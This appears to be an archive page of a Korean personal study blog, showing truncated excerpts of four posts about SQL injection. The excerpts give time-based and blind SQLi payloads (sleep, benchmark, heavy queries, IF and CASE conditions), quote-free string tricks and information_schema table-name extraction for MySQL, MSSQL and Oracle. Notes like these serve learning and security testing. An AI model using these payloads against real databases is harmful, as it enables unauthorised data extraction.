목록2020/04/27 (4)
Self-Improvement
DB별로 LEFT(), RIGHT(), LENGTH(), LEN()
MySQL select left((select table_name from information_schema.tables limit 1),2) select right((select table_name from information_schema.tables limit 1),2) select length((select table_name from information_schema.tables limit 1)) MSSQL select LEFT((select top 1 table_name from information_schema.tables),2) select right((select top 1 table_name from information_schema.tables),2) select len((select..
MySQL Time SQLi(sleep, BENCHMARK, heavy query)
Sleep select sleep(3) select if(1=1,sleep(3),2) Benchmark benchmark(돌릴 횟수, 돌릴함수) 함수는 돌릴 함수에 대하여 몇번의 횟수를 반복하는지를 나타냄 이 방식을 통해 Time SQLi가 가능함 select benchmark(1000000,md5(1)) select if(1=1,benchmark(1000000,md5(1)),2) Heavy Query select count(*) from information_schema.tables tab1, information_schema.tables tab2, information_schema.tables tab3 select if(1=1, (select count(*) from information_schema..
쿼터없이 스트링 표현하기 비교 (MySQL, MSSQL, Oracle)
* SELECT 0x457578 MySQL MSSQL Oracle X * String 이어붙히기 MySQL MSSQL Oracle p.s. MySQL
Blind SQLi IF문 (Mysql, MSSQL(제약이 존재), Oracle(제약이 존재))
IF Statements MySQL IF(condition,true-part,false-part) MSSQL IF condition true-part ELSE false-part Oracle IF condition THEN true-part; ELSE false-part; END IF; END; 제약이 많은 IF문 보단 CASE문이 유용하며 Oracle은 PL/SQL에서 사용이 가능한것으로 보임 MySQL select if(1=1, 1,2) select if ((select substr(version(),1,1))=5,1,2) select if (1=1,(select version()),2) select if ((select length(table_name) from information_schema.t..